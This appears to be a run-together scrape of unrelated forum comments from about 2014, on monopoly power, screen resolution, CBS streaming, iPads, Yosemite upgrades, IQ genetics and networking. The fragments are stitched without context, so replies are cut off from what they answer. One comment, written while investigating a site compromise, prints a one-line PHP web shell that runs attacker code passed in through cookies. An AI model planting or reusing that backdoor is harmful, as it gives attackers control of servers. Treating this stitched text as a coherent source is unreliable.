The rich don't need the government to exert influence and rig the game in their favor. For example, they can:
- buy up their competitors to create monopolies
- use one monopoly to build another one (e.g. "if you buy our competitor's coal, you can't use our railroad")
- gain control over natural resources
- collude with their competitors
- abuse the legal system to kill competitors
- hire marketers and fund NGOs for propaganda purposes
- control the media
etc.

Once they have gained control over an industry, let's say steelworking or railroads, they become like feudal lords in that industry, setting wages and prices however they wish.

Power is subject to a positive feedback loop, whether it's political power or economic power. Having power makes it easier to gain more power. That's why it will always tend to concentrate in the hands of the few.

Government power in a democracy comes from a game of "artificial equality": elections in which every person has one vote, regardless of their power "in real life". (This is different from the economy, where your power is proportional to your wealth.) For this reason, it can act against the natural tendency towards concentration of power.

>> it really boils down more to the defition of 'average person'.

That's fair. On my 15" 1680x1050 MBP (~175dpi), almost anyone(different ages) who came to look at my screen would make some negative comment about having to squint to read the text, especially if I'm running Windows. My 27" 1080p monitor is lower density, but it's also about a foot farther than where a laptop screen would be for me.

>> Did you intend to leave out programmers?

Yes, but let me explain my logic: I think most programmers would rather have the equivalent of four 1080p screens worth of text editors and debugging windows than sharper text quality on a single smaller screen. Having both real estate and dpi, of course, would be even more ideal.

Which people? I've lived in one place where my antenna didn't work, and it was so in the middle of nowhere that slow DSL speeds would have made streaming TV content pretty unpleasant. I'd imagine many of those people already have satellite for TV and internet.
* Antennas won't work for many people.*

Heh. Especially so in the Chicago market. CBS 2 Chicago (WBBM) is the only remaining VHF transmitter in the area. I can easily pull in the other UHF stations, but CBS has continued to be a problem. Reception was poor, but since February I can't get them at all. At one point during the DTV transition period, they weren't allowed (permitted?) to transmit at full power. I wonder if something similar is going on now. That, or a new building has gone up between me and downtown.
I'm not familiar with Docker, but something might have failed in the configure or build phases. What kind of output are you getting from those scripts?
That's the exact same model I have...
Absolutely amazing device, but also wholly unexciting.

That's completely okay, but I'm left with this feeling 'there's nothing to see here, nothing to discuss'.

Curious to see the new screen on the Air 2 in the store, though. Might be a significant difference.

As for the mini 3... that's just a mini 2 (2014 version). Literally no change except the fingerprint scanner. I'd call it the '3', too, just to prevent confusion, but it's utterly unremarkable otherwise versus the '2'.
Practical guide for tcpdump
I would imagine as long as the video card has similar specs as the new iMac, and the computer had Thunderbolt 2, then yes (at 5k). Otherwise, it would be scaled somehow or just not work at all.
You can think of this as just another physical medium for transmitting the same content. We already have cable and satellite, and now there's the Internet. Of course, it does have the advantage of being available without an entire cable or satellite bundle.
I don't buy cable because of the commercials and I sure as hell would never pay to get commercials streamed to my tv via my internet connection.

15 bucks is probably way too high as well, considering the average cable bill is $100/mo, and that's few more channels than 1.

If this were something like 4.99/mo with no commercials I'd consider it. As it is now, I can just buy the best CBS shows on blu-ray for a lot less than $180/year.
You can upgrade the RAM.
It looks like the physical design is the same as the late 2012, which on mine has a screw top "bottom" (until moments ago I had it upside down...always thinking that screen top was the top) that reveals a couple of so-dimm ports.

I am extremely surprised they didn't go Broadwell given that Intel is just starting to put those out in volume.

Mac OS X 10.10 Yosemite review
> One the one hand, I would be deeply stunned if an IQ of 1000 was available just by flipping all the genetic switches to "on". The result of doing such a thing that I would actually expect would be to create a non-viable embryo.

That makes no sense. All these variants would have been obtained by comparing in the general (living) population people with differing copies. Why would these variants be completely harmless in normal people and suddenly lethal in conjunction? Is there any evidence at all for this idea? For example, do we see extremely intelligent people (who will be highly enriched in the relevant variants) dropping like flies in their teens?
If I upgrade, should I expect some of my dev tools to break? Homebrew stuff or eclipse etc... I bought this mac with mavericks so I don't know what to expect.

Yeah I agree with you completely that a guaranteed income would probably be the best way to take society to the next level in terms of economic stability and as a way to care for the best resource we have which is human capital.

There are plenty of dynamics which would still be at play that would be capable of incentivizing the appropriate people to work in response to needed labor. (eg. landlord responsibilities to apartment tenants)
It's simply not true that IE was terrible in adopting standards: it was very good at it up to and including IE6. That included the rapid adoption of Netscape "standards".

The real problem was that Microsoft stopped browser development for half a dozen years, and that put it miles behind. The rapid releases from IE8 to IE11 show Microsoft trying to catch up, ie being pretty good at adopting standards.

There are plenty of things to blame, including the US Justice Department, the unexpected delay from the Longhorn disaster, and the backlash against Vista. This left XP dominating the PC market, and XP shipped with IE6.

If that's been holding up the web, it's not because Microsoft willed it. Just the reverse: it's being trying for years to kill it off.
Yes you can with both iOS 8 and Yosemite. It works quite well.

Maybe what it was (quoting from memory) is that the timeout for re-ordering/assembly started at 30 seconds (not 120 per the RFC) and only increased up to a limit of 180 when the kernel thought it wasn't something bursty like DNS; some kind of heuristic probably introduced to make NFS pre v4 work better. Maybe the queues were too small when MTUs could be 1500 bytes or less?

Any info about the amount of RAM? They should've bumped it to 2GB. No words about it during presentation, not a single mention in tech specs on apple.com site.

If this new iPad still has 1GB of RAM, it's a dealbreaker for me. Lack of RAM causes Safari to reload webpages from inactive tabs, which is a HUGE flaw. It really hurts websurfing experience and I think websurfing is one of the primary purposes of iPad.

The reliability of UDP is mainly going to depend on the end nodes you're trying to connect. The backbone of the internet is very reliable and if you're connecting over ethernet or through some other wired connection you'll see very few dropped packets and thus UDP will be very reliable.

If you're connecting with wireless, expect to see some more dropped packets, and if you're connecting with bluetooth expect to see even more (because of its low power bluetooth is more likely to drop packets than either a wifi or wired connection).

Well you already fell for it. How could you possibly know if you're better than average without keeping track and comparing with other drivers in a scientific manner? For all you know, the bad drivers you see make up one tenth of one percent (made up figure), making the majority of below average drivers people who have never been pulled over or in an accident.

I've used a Mac with a glass screen since 2011 and it really hasnt given me any issues. Sometimes at the office I may have a issues with glare or if I sit with a window behind me. If I adjust the angle of my monitor the issue is immediately resolved.

I was really against buying the glossy screen but the matte looks washed out compared to the glossy. If your display is around 60% or above brightness then you really dont have a glare issue.
This is untrue. If it really were a universal, why would there be such high IQs in the first place? As well, it's not empirically obvious: some samples show dysgenics, others show eugenics. I'm sure you're familiar with Clark's claims about England and China, but you can also find eugenic samples in a number of modern samples (iirc, post-WWII Baby Boom was eugenic) collated in Richard Lynn and Tatu Vanhanen, Intelligence: A Unifying Construct for the Social Sciences, 2012; and some HBDers crunching the GSS claim that current trends are eugenic for men but dysgenic for women.
This is because your eyes never get wider. So it makes sense that the content would never get wider either. I feel like web apps are the only real use case (aside from experimentations) where using a fluid-width (the content grows with the screen) is appropriate.
Surprised to see that the Nexus 9, announced yesterday by Google, can compete almost exactly with this device toe-to-toe (minus the storage options, in which I believe Apple wins).

So, while patching our sites for this, we found one which apparently had already been patched. This was highly suspicious, especially since the file mod date is listed as approximately 9 hours ago when nobody was using the system and no login is registered for it, so we've been investigating. The only thing we've found so far is another file which was apparently created at the same exact time as the update:

modules/toolbar/pfmm.php

…which doesn't actually exist in the toolbar module (or anywhere else I can find). The contents of that look like an attempt to use some kind of exploit:

<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

Not quite sure what that means, but we're still looking into it.
So anyone know what the actual native res is?
Completely agree - I mean there has to be a good amount of people inside Apple who have brought this up already. Maybe they ran the numbers and decided all these options are better than fewer options?

"Excluding proprietary solutions, a few competing software tracers exist for Linux. ftrace is the de facto function tracer of the Linux kernel. strace is able to record all system calls made by a user process. SystemTap is a Linux kernel and user space tracer which uses custom user scripts to produce plain text traces. sysdig also uses scripts, written in Lua, to trace and analyze the Linux kernel.

The main distinctive features of LTTng is that it produces correlated kernel and user space traces, as well as doing so with the lowest overhead amongst other solutions. It produces trace files in the CTF format, an optimized file format for production and analyses of multi-gigabyte data. LTTng is the result of close to 10 years of active development by a community of passionate developers. It is currently available on all major desktop and embedded Linux distributions."

Further down you'll discover that your application(s) are linked with a library provided by the project.

Most of them rely on kprobes [1], or like ftrace on [2]. But there is also oprofile [3], and almighty perf [4], which rely on CPU extensions to implement tracing, (also implemented and by the HW manufacturer as well -- but in a OS-agnostic way).

If country A makes and achieves its goal to give the next generation an average IQ of 130, and country B makes its goal to encourage the next generation to do something meaningful (to them), B will serve A before long.
Glossy requires you to exercise better control of room lighting, but the matte coating causes white backgrounds to sparkle and text to be hazy. Especially on a retina-level display where the text is otherwise so sharp. I used a 2414Q in a Microsoft store, and text looks nowhere near as sharp as it does on my Macbook Pro Retina, despite similar pixel density.
Short answer is yes. Pretty much every upgrade breaks everything that depends on XCode Command Line Utilities because xcode and the command line utils get uninstalled :\
I can confirm that Homebrew and iTerm work fine. Your shell configs should be fine as well (unless you've made changes to /etc/bashrc, which gets overwritten).

No it doesn't. That's just for the passenger-side airbag and you are only supposed to turn it off if there's something other than a human there (like a rear-facing baby seat).
From my experience everything with eclipse and iTerm work well. Don't have too much custom configs going on though.
Hmm... I hadn't thought of it that way. But I find it much more horrific that people are comparing loving animals to children. You don't agree? That's why my comment is made as a follow-up to theirs.

I mean, we eat cows and pigs, and all sorts of other animals. What makes cats or dogs particularly special, other than being cuter and perhaps a little more social? It seems for these people arguing their animals are to be as revered as human beings are, they would also have to be vegan, which most are not.
This probably means CBS will be disabling their existing system for allowing free viewing of their shows, delayed by a day or so. That was a nice service.

It appears reading comprehension isn't a prerequisite for a good IQ score, what I'm saying is those scores are irrelevant, do try and keep up. Oh and its very easy to train someone to get beyond your benchmark as long as they have a reasonable grasp on language, you just show them past exam questions and show the steps to take to get the answer, it's what passes for education in many subjects.

Just to go further into this, decided to remind myself what an IQ test question looked like. This is the first one that came up...

"1, 3, 5, 7, 8, 9, 11 - Which one doesn't belong in this series?"

Now the "correct" answer is 8, but that's only because we second guess what the examiner wants. Truthfully 11 is equally correct, as its the only 2 digit number, and the number series could be single digit numbers. But there's nowhere to explain your reasoning, so you better choose the "correct" answer anyway...
To be precise: The example was taken out of your app, I followed the link and pasted it above, so not only CC is in use.
I was curious what the exact resolutions were. A quick google search claims:

"4k monitor": 3824 x 2160

"5k monitor": 5120 x 2880

That's a lot of pixels.

It might be a good idea to be skeptical about spending >$1,500 on a 27-inch monitor in Q4 2014. It's difficult to notice any pixelation on a 27" screen at a resolution of 2560x1440, so clearly the reason to upgrade to 5120x2880 is for the extra screen workspace. But unless you have very good vision, you're probably not going to be able to read text at 5120x2880 without zooming. What's the advantage?

For $1,000 you can buy two 27" 2560x1440 monitors, which is a huge amount of workspace. Also, a single $300 midrange GPU can drive both monitors at full resolution. A couple years ago, that was cutting-edge tech, but it cost ~$2600. Also, two monitors offer a better user experience than one monitor, since window management is a bit easier.

Would anyone mind explaining whether the pros of a 5k monitor outweigh the hefty pricetag?
> It's much, much more likely that a lot of those gene changes overlap, meaning combined changes won't affect the IQ any more than either/or changes would.

No, it's not. Please see Hsu's extended comments on the topic of interaction and non-additivity at the top of the page, and note the support from twin studies & GCTA. The point of his suggested strategy is that you're targeting the subset of gene changes in total heritability which don't do that.
I'm a bit surprised. While I prefer the size of the Air (I use mine at least an hour a day), I would have guessed that they sell far more Minis.
> UDP is just about as reliable or unreliable as IP

That's in theory.

In practice ISPs routinely classify, prioritize and shape application traffic (based on either TCP/UDP ports or results of deep packet inspection), so running SSL over IP will yield different IP loss profile than when running SSL over UDP.
A person's response to an emergency situation isn't symmetric in the case of safe/unsafe. If you aren't safe, you should either be on the phone with emergency services (911 here in the states), or someone who can help you directly. Facebook isn't the appropriate conduit through which you should communicate. That's why you don't see a "I'm in trouble" option. Facebook doesn't want to present themselves as a means to send distress messages.
Ultimately, you're going to have to search the announcements/issues for any projects that are really important. The good news is that because Yosemite has been available as an open beta many bits of software have been patched to work with it as technical and non-technical people have been reporting bugs.

Many people who were sporting a 16GB Air model had to delete a fair bit of content and apps in order to free up the huge amount of space the iOS 8 upgrade required. And this was on Apple's then-latest and greatest tablet. So there are already technical issues with keeping 16GB as the baseline, at least if future upgrades will be like the most recent one.
